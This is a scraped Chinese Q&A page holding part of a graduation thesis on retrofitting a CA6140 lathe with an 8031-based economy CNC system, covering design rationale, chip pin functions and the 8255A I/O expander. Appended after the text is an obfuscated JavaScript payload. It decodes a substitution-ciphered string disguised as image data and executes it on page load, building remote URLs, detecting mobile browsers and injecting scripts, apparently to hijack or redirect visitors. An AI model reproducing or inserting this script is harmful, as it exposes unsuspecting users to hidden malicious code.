推荐回答(1个)
机床作为机械制造业的重要基础装备,它的发展一直引起人们的关注,由于计算机技术的兴起,促使机床的控制信息出现了质的突破,导致了应用数字化技术进行柔性自动化控制的新一代机床-数控机床的诞生和发展。计算机的出现和应用,为人类提供了实现机械加工工艺过程自动化的理想手段。随着计算机的发展,数控机床也得到迅速的发展和广泛的应用,同时使人们对传统的机床传动及结构的概念发生了根本的转变。数控机床以其优异的性能和精度、灵捷而多样化的功能引起世人瞩目,并开创机械产品向机电一体化发展的先河。 数控机床是以数字化的信息实现机床控制的机电一体化产品,它把刀具和工件之间的相对位置,机床电机的启动和停止,主轴变速,工件松开和夹紧,刀具的选择,冷却泵的起停等各种操作和顺序动作等信息用代码化的数字记录在控制介质上,然后将数字信息送入数控装置或计算机,经过译码,运算,发出各种指令控制机床伺服系统或其它的执行元件,加工出所需的工件。 数控机床与普通机床相比,其主要有以下的优点: 1. 适应性强,适合加工单件或小批量的复杂工件; 在数控机床上改变加工工件时,只需重新编制新工件的加工程序,就能实现新工件加工。 2. 加工精度高; 3. 生产效率高; 4. 减轻劳动强度,改善劳动条件; 5. 良好的经济效益; 6. 有利于生产管理的现代化。 数控机床已成为我国市场需求的主流产品,需求量逐年激增。我国数控机机床近几年在产业化和产品开发上取得了明显的进步,特别是在机床的高速化、多轴化、复合化、精密化方面进步很大。但是,国产数控机床与先进国家的同类产品相比,还存在差距,还不能满足国家建设的需要。 我国是一个机床大国,有三百多万台普通机床。但机床的素质差,性能落后,单台机床的平均产值只有先进工业国家的1/10左右,差距太大,急待改造。 旧机床的数控化改造,顾名思义就是在普通机床上增加微机控制装置,使其具有一定的自动化能力,以实现预定的加工工艺目标。 随着数控机床越来越多的普及应用,数控机床的技术经济效益为大家所理解。在国内工厂的技术改造中,机床的微机数控化改造已成为重要方面。许多工厂一面购置数控机床一面利用数控、数显、PC技术改造普通机床,并取得了良好的经济效益。我国经济资源有限,国家大,机床需要量大,因此不可能拿出相当大的资金去购买新型的数控机床,而我国的旧机床很多,用经济型数控系统改造普通机床,在投资少的情况下,使其既能满足加工的需要,又能提高机床的自动化程度,比较符合我国的国情。 1984年,我国开始生产经济型数控系统,并用于改造旧机床。到目前为止,已有很多厂家生产经济型数控系统。可以预料,今后,机床的经济型数控化改造将迅速发展和普及。所以说,本毕业设计实例具有典型性和实用性。 第二章 总体方案的设计 2.1 设计任务 本设计任务是对CA6140普通车床进行数控改造。利用微机对纵、横向进给系统进行开环控制,纵向(Z向)脉冲当量为0.01mm/脉冲,横向(X向)脉冲当量为0.005mm/脉冲,驱动元件采用步进电机,传动系统采用滚珠丝杠副,刀架采用自动转位刀架。 2.2 总体方案的论证 对于普通机床的经济型数控改造,在确定总体设计方案时,应考虑在满足设计要求的前提下,对机床的改动应尽可能少,以降低成本。 (1)数控系统运动方式的确定 数控系统按运动方式可分为点位控制系统、点位直线控制系统、连续控制系统。由于要求CA6140车床加工复杂轮廓零件,所以本微机数控系统采用两轴联动连续控制系统。 (2)伺服进给系统的改造设计 数控机床的伺服进给系统有开环、半闭环和闭环之分。 因为开环控制具有结构简单、设计制造容易、控制精度较好、容易调试、价格便宜、使用维修方便等优点。所以,本设计决定采用开环控制系统。 (3)数控系统的硬件电路设计 任何一个数控系统都由硬件和软件两部分组成。硬件是数控系统的基础,性能的好坏直接影响整体数控系统的工作性能。有了硬件,软件才能有效地运行。 在设计的数控装置中,CPU的选择是关键,选择CPU应考虑以下要素: 1. 时钟频率和字长与被控对象的运动速度和精度密切相关; 2. 可扩展存储器的容量与数控功能的强弱相关; 3. I/O口扩展的能力与对外设控制的能力相关。 除此之外,还应根据数控系统的应用场合、控制对象以及各种性能、参数要求等,综合起来考虑以确定CPU。在我国,普通机床数控改造方面应用较普遍的是Z80CPU和MCS-51系列单片机,主要是因为它们的配套芯片便宜,普及性、通用性强,制造和维修方便,完全能满足经济型数控机床的改造需要。本设计中是以MCS-51系列单片机,51系列相对48系列指令更丰富,相对96系列价格更便宜,51系列中,是无ROM的8051,8751是用EPROM代替ROM的8051。目前,工控机中应用最多的是8031单片机。本设计以8031芯片为核心,增加存储器扩展电路、接口和面板操作开关组成的控制系统。 2.3 总体方案的确定 经总体设计方案的论证后,确定的CA6140车床经济型数控改造示意图如图所示。CA6140车床的主轴转速部分保留原机床的功能,即手动变速。车床的纵向(Z轴)和横向(X轴)进给运动采用步进电机驱动。由8031单片机组成微机作为数控装置的核心,由I/O接口、环形分配器与功率放大器一起控制步进电机转动,经齿轮减速后带动滚珠丝杠转动,从而实现车床的纵向、横向进给运动。刀架改成由微机控制的经电机驱动的自动控制的自动转位刀架。为保持切削螺纹的功能,必须安装主轴脉冲发生器,为此采用主轴靠同步齿形带使脉冲发生器同步旋转,发出两路信号:每转发出的脉冲个数和一个同步信号,经隔离电路以及I/O接口送给微机。如图2-1所示: 第三章 微机数控系统硬件电路设计 3.1微机数控系统硬件电路总体方案设计 本系统选用8031CPU作为数控系统的中央处理机。外接一片2764EPROM,作为监控程序的程序存储器和存放常用零件的加工程序。再选用一片6264RAM用于存放需要随机修改的零件程序、工作参数。采用译码法对扩展芯片进行寻址,采用74LS138译码器完成此功能。8279作为系统的输入输出口扩展,分别接键盘的输入、输出显示,8255接步进电机的环形分配器,分别并行控制X轴和Z轴的步进电机。另外,还要考虑机床与单片机之间的光电隔离,功率放大电路等。其硬件框图如图3-1所示: 图3-2 8031芯片内部结构图 各引脚功能简要介绍如下: ⒈ 源引脚 VSS:电源接地端。 VCC:+5V电源端。 ⒉ 输入/输出(I/O)口线 8031单片机有P0、P1、P2、P3 4个端口,每个端口8根I/O线。当系统扩展外部存储器时,P0口用来输出低8位并行数据,P2口用来输出高8位地址,P3口除可作为一个8位准双向并行口外,还具有第二功能,各引脚第二功能定义如下: P3.0 RXD:串行数据输入端。 P3.1 TXD:串行数据输出端 P3.2 INT0:外部中断0请求信号输入端。 P3.3 INT1:外部中断1请求信号输入端。 P3.4 T0:定时器/计数器0外部输入端 P3.5 T1:定时器/计数器1外部输入端 P3.6 WR:外部数据存储器写选通。 P3.7 RD:外部数据存储器读选通。 在进行第二功能操作前,对第二功能的输出锁存器必须由程序置1。 ⒊ 信号控制线 RST/VPD:RST为复位信号线输入引脚,在时钟电路工作以后,该引脚上出现两个机器周期以上的高电平,完成一次复位操作。 8031单片机采用两种复位方式:一种是加电自动复位,另一种为开关复位。 ALE/PROG:ALE是地址锁存允许信号。它的作用是把CPU从P0口分时送出的低8位地址锁存在一个外加的锁存器中。 :外部程序存储器读选通信号。当其为低电平时有效。
VPP:当EA为高电平且PC值小于0FFFH时CPU执行内部程序存储器中的程序。当EA为低电平时,CPU仅执行外部程序存储器中的程序。 XTAL1:震荡器的反相放大器输入,使用外部震荡器时必须接地; XTAL2:震荡器的反相放大器输出,使用外部震荡器时,接收外围震荡信号; (2)片外三总线结构 单片机在实际应用中,常常要扩展外部存储器、I/O口等。单片机的引脚,除了电源、复位、时钟输入以及用户I/O口外,其余的引脚都是为了实现系统扩展而设置的,这些引脚构成了三总线形式: ⒈ 地址总线AB 地址总线宽度为16位。因此,外部存储器直接寻址范围为64KB。由P0口经地址锁存器提供16位地址总线的低8位地址(A7~A0),P2口直接提供高8位地址(A15~A8)。 ⒉ 数据总线DB 数据总线宽度为8位,由P0口提供。 ⒊ 控制总线CB 控制总线由第二功能状态下的P3口和4根独立的控制线RST、EA、ALE和PSEN组成。其引脚图如图3-3所示: 3.1.2 8255A可编程并行I/O口扩展芯片 8255A可编程并行I/O口扩展芯片可以直接与MCS系列单片机系统总线连接,它具有三个8位的并行I/O口,具有三种工作方式,通过编程能够方便地采用无条件传送、查询传送或中断传送方式完成CPU与外围设备之间的信息交换。8255A的结构及引脚功能: 1、 8255A的结构 8255A的内部结构如图3-4所示。其中包括三个8位并行数据I/O端口,二个工作方式控制电路,一个读/写控制逻辑电路和一个8位数据总线缓冲器。各部分功能介绍如下: (1) 三个8位并行I/O端口A、B、C A口:具有一个8位数据输出锁存/缓冲器和一个8位数据输入锁存器。可编程为8位输入、或8位输出、或8位双向寄存器。B口:具有一个8位数据输出锁存/缓冲器和一个8位输入或输出寄存器,但不能双向输入/输出。C口:具有一个8位数据输出锁存/缓冲器和一个8位数据输入缓冲器,C口可分作两个4位口,用于输入或输出,也可作为A口和B口选通方式工作时的状态控制信号。 (2) 工作方式控制电路 A、B两组控制电路把三个端口分成A、B两组,A组控制A口各位和C口高四位,B组控制B口各位和C口低四位。两组控制电路各有一个控制命令寄存器,用来接收由CPU写入的控制字,以决定两组端口的工作方式。也可根据控制字的要求对C口按位清“0”或置“1”。 (3) 读/写控制逻辑电路 它接收来自CPU的地址信号及一些控制信号,控制各个口的工作状态。 (4) 数据总线缓冲器 它是一个三态双向缓冲器,用于和系统的数据总线直接相连,以实现CPU和8255A之间信息的传送。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();